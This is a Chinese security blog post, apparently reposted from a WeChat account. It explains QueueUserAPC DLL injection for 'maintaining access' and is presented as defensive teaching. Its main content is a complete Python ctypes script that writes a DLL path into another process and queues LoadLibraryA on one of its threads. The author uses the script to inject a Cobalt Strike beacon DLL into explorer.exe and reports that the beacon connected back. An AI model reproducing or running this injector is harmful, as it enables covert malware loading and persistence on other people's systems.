维持访问-QueueUserAPC注入分析

admin 2021年5月17日10:52:58评论111 views字数 2743阅读9分8秒阅读模式

维持访问-QueueUserAPC注入分析
一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚
前言


QueueUserAPC线程注入通过在线程队列中添加APC实现DLL注入

本文通过py2.7使用ctypes库进行DLL和代码注入实现,解读一下QueueUserAPC线程注入的原理。

函数了解


前几文《维持访问-代码注入分析》,《维持访问-远程线程DLL注入分析》基本把所需要的API函数介绍完了
本文主要是将CreateRemoteThread函数替换即可。

QueueUserAPC
将用户模式异步过程调用(APC)对象添加到指定线程的APC队列中。

这函数说白了就是在已有的线程内添加一个动作,我们可以不用新建线程,而是借用已存在的线程将加载dll动作写进去。

函数原型:
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc
DWORD QueueUserAPC(  PAPCFUNC  pfnAPC,  HANDLE    hThread,  ULONG_PTR dwData);
维持访问-QueueUserAPC注入分析
调用成功返回非零值


QueueUserAPC参数pfnAPC要求是一个APC函数指针,下面是该函数指针的定义
维持访问-QueueUserAPC注入分析
使用ctypes的WINFUNCTYPE转换出此格式的函数指针
LLA = ctypes.windll.kernel32.GetProcAddress(handle, b'LoadLibraryA')PAPCFUNC = ctypes.WINFUNCTYPE(None,LPVOID)start = PAPCFUNC(LLA)
参数hThread是打开的线程句柄,使用OpenThread函数打开,且要求是THREADSETCONTEXT权限
维持访问-QueueUserAPC注入分析
OpenThread其他参数和OpenProcess一样用
THREAD_SET_CONTEXT = 0x0010h_thread = ctypes.windll.kernel32.OpenThread(THREAD_SET_CONTEXT, False, int(tid))
第三个参数则是dll文件绝对路径
ctypes.windll.kernel32.QueueUserAPC.argtypes = LPVOID,HANDLE,LPVOIDctypes.windll.kernel32.QueueUserAPC(start, h_thread, arg_address)

CreateRemoteThread注入的模板《维持访问-远程线程DLL注入分析》上进行修改,将CreateRemoteThread注入模块改为上面的QueueUserAPC函数即可
这里注意的是要同时打开进程PID和线程TID,将dll文件绝对路径写入进程申请的内存中。

最终py源码
使用CS生成64beacon.dll,注入程序测试的explorerpid为1496,tid为17404
import ctypesfrom ctypes import *from ctypes.wintypes import *import sys,os
def inject(file,pid,tid): PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) h_process = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) if h_process: dll_path = os.path.abspath(file) print(dll_path) dll_path = bytearray(dll_path) arg_address = ctypes.windll.kernel32.VirtualAllocEx(h_process, ctypes.c_int(0), ctypes.c_int(len(dll_path)),ctypes.c_int(0x3000), ctypes.c_int(0x04)) buf = (ctypes.c_char * len(dll_path)).from_buffer(dll_path) ctypes.windll.kernel32.WriteProcessMemory(h_process, arg_address, buf, len(dll_path))
ctypes.windll.kernel32.GetModuleHandleW.argtypes = [c_wchar_p] ctypes.windll.kernel32.GetModuleHandleW.restype = c_void_p handle = ctypes.windll.kernel32.GetModuleHandleW("kernel32") ctypes.windll.kernel32.GetProcAddress.argtypes = [c_void_p, c_char_p] ctypes.windll.kernel32.GetProcAddress.restype = c_void_p LLA = ctypes.windll.kernel32.GetProcAddress(handle, b'LoadLibraryA') print("LoadLibraryA:{}".format(LLA))
PAPCFUNC = ctypes.WINFUNCTYPE(None,LPVOID) start = PAPCFUNC(LLA) THREAD_SET_CONTEXT = 0x0010 h_thread = ctypes.windll.kernel32.OpenThread(THREAD_SET_CONTEXT, False, int(tid)) ctypes.windll.kernel32.QueueUserAPC.argtypes = LPVOID,HANDLE,LPVOID ctypes.windll.kernel32.QueueUserAPC(start, h_thread, arg_address)
ctypes.windll.kernel32.CloseHandle(h_thread) ctypes.windll.kernel32.CloseHandle(h_process) else: print("open process error") sys.exit()
if __name__ == '__main__': inject(sys.argv[1],sys.argv[2],sys.argv[3])
维持访问-QueueUserAPC注入分析
dll被成功注入,CS成功上线
维持访问-QueueUserAPC注入分析
维持访问-QueueUserAPC注入分析

本文始发于微信公众号(XG小刚):维持访问-QueueUserAPC注入分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月17日10:52:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   维持访问-QueueUserAPC注入分析https://cn-sec.com/archives/376074.html

发表评论

匿名网友 填写信息